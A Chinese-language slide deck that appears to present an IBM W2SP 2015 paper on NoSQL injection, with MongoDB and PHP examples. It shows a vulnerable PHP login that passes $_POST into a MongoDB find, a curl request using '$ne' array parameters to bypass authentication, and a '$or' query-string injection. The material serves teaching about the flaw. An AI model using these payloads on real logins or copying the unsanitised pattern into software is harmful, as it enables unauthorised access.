No SQL, No Injection?

報告者:中正大學 ANT 實驗室 紀冠宇 研究生

指導教授:中正大學 ANT 實驗室 潘仁義 教授

The 9th Workshop on Web 2.0 Security and Privacy (W2SP) 2015

Aviv Ron、Alexandra Shulman-Peleg、Emanuel Bronshtein

Cyber security Center of Excellence IBM

論文內容

  • NoSQL 簡介
  • NoSQL Injection
    • PHP Array Injection
    • NoSQL or Injection
  • NoSQL 其它安全議題
    • Authentication

背景知識

SQL Based Database

  • MySQL/MariaDB
  • Microsoft SQL Server
  • OracleSQL

NoSQL(Not Only SQL)

  • 文件儲存型
    • MongoDB
    • RethinkDB
  • 圖形關係型
    • Neo4j
  • 鍵-值型
    • Redis
    • etcd
  • 時序型
    • InfluxDB
  • 列儲存
    • HBase

Simple SQL Statement

-- T-SQL

SELECT * FROM users WHERE `name` <> 1;

-- MySQL

SELECT * FROM users WHERE `name` != 1;

PHP Array & json

<?php

// Normal Array
$a = [
    'username' => 'Vincent Chi',
    'password' => 'password',
];
json_encode($a); // {"username":"Vincent Chi","password":"password"}

// Nested Array
$b = [
    'username' => ['a' => 1],
    'password' => ['a' => 1],
];
json_encode($b); // {"username":{"a":1},"password":{"a":1}}

MongoDB

let MongoClient = require('mongodb'),
    assert = require('assert')

let url = 'mongodb://localhost:27017/member'

MongoClient.connect(url, (err, db) => {
    assert(null, err)
    console.log("MongoDB Connection Created.")
    db.close()

})

Connection

let MongoClient = require('mongodb'),
    assert = require('assert')

let url = 'mongodb://localhost:27017/member'

let insertMembers = (db, callback) => {
    let collection = db.collection('documents')

    collection.insertMany([
        {username: 'Vincent Chi', password: 'password'},
        {username: 'Karuru Dissidia', password: 'HuskyCute'}
    ], (err, result) => {
        assert(null, err)
        assert(2, result.result.n)
        assert(2, result.ops.length)
        console.log('Insert 2 members into MongoDB')
        callback(result)
    })
}

MongoClient.connect(url, (err, db) => {
    assert(null, err)
    console.log("Connected successfully to server");

    insertMembers(db, () => db.close())
})

Insert

let MongoClient = require('mongodb'),
    assert = require('assert')

let url = 'mongodb://localhost:27017/member'

let insertMembers = (db, callback) => {
    // Insert {name: 'Vincent Chi', password: 'password'}
    // Insert {name: 'Karuru Dissidia', password: 'HuskyCute'}
}

let findMember = (db, callback, data) => {
    let collection = db.collection('documents')

    collection.find(data).toArray((err, members) => {
        assert(null, err)
        console.log(members)
        callback(members)
    })
}

MongoClient.connect(url, (err, db) => {
    assert(null, err)
    console.log("Connected successfully to server");

    insertMembers(db, () => {
        findMember(db, () => db.close(), {name: 'Vincent Chi'})
    })
})

Find

PHP Array Injection

<?php

$request['username'] = $_POST['username']; // Vincent Chi

$request['password'] = $_POST['password']; // password
curl -X POST "https://example.app/login" -d "username=Vincent%20Chi&password=password"
<?php

$request['username'] = $_POST['username']; // Vincent Chi

$request['password'] = $_POST['password']; // password


$mongodb = new MongoDB('mongodb://localhost:27017/members');

$mongodb->find($request);
db.find({
    username: 'Vincent Chi',
    password: 'password'
})
curl -X POST "https://example.app/login" -d "username[$ne]=1&password[$ne]=1"
<?php

$request['username'] = $_POST['username']; // ['$ne' => 1]

$request['password'] = $_POST['password']; // ['$ne' => 1]
<?php

$request['username'] = $_POST['username']; // ['$ne' => 1]

$request['password'] = $_POST['password']; // ['$ne' => 1]


$mongodb = new MongoDB('mongodb://localhost:27017/members');

$mongodb->find($request);
db.find({
    username: {$ne: 1},
    password: {$ne: 1}
})

# "$ne" is the not equals condition in MongoDB. 
SELECT * FROM members WHERE `username` != 1 OR `password` != 1;

NoSQL OR Injection

let queryString = "{username: 'Vincent Chi', password: 'password'}"

db.find(queryString)
{
    username: 'Vincent Chi', 
    password: 'password'
}
username = 'Vincent Chi'
let queryString = "{username: '"+ username +"', password: 'password'}"

db.find(queryString)
let queryString = 
"{username: 'Vincent Chi', $or: [ {}, { 'a':'a&password='}]', password: 'password'}"

db.find(queryString)
{
    username: 'Vincent Chi', $or:[{}, {'a': 'a', password: ''}],
    password: 'password'
}
let queryString = "{username: '"+ username +"', password: 'password'}"

db.find(queryString)
username = 'Vincent Chi', $or: [ {}, { 'a':'a&password='}]'

其它安全議題

具有相同潛在安全風險

  • Redis

SQL injection techniques irrelevant (for NoSQL databse), but are NoSQL databases immune to injection in general? The answer is NO.

No SQL, No Injection?

By chivincent

No SQL, No Injection?

  • 1,404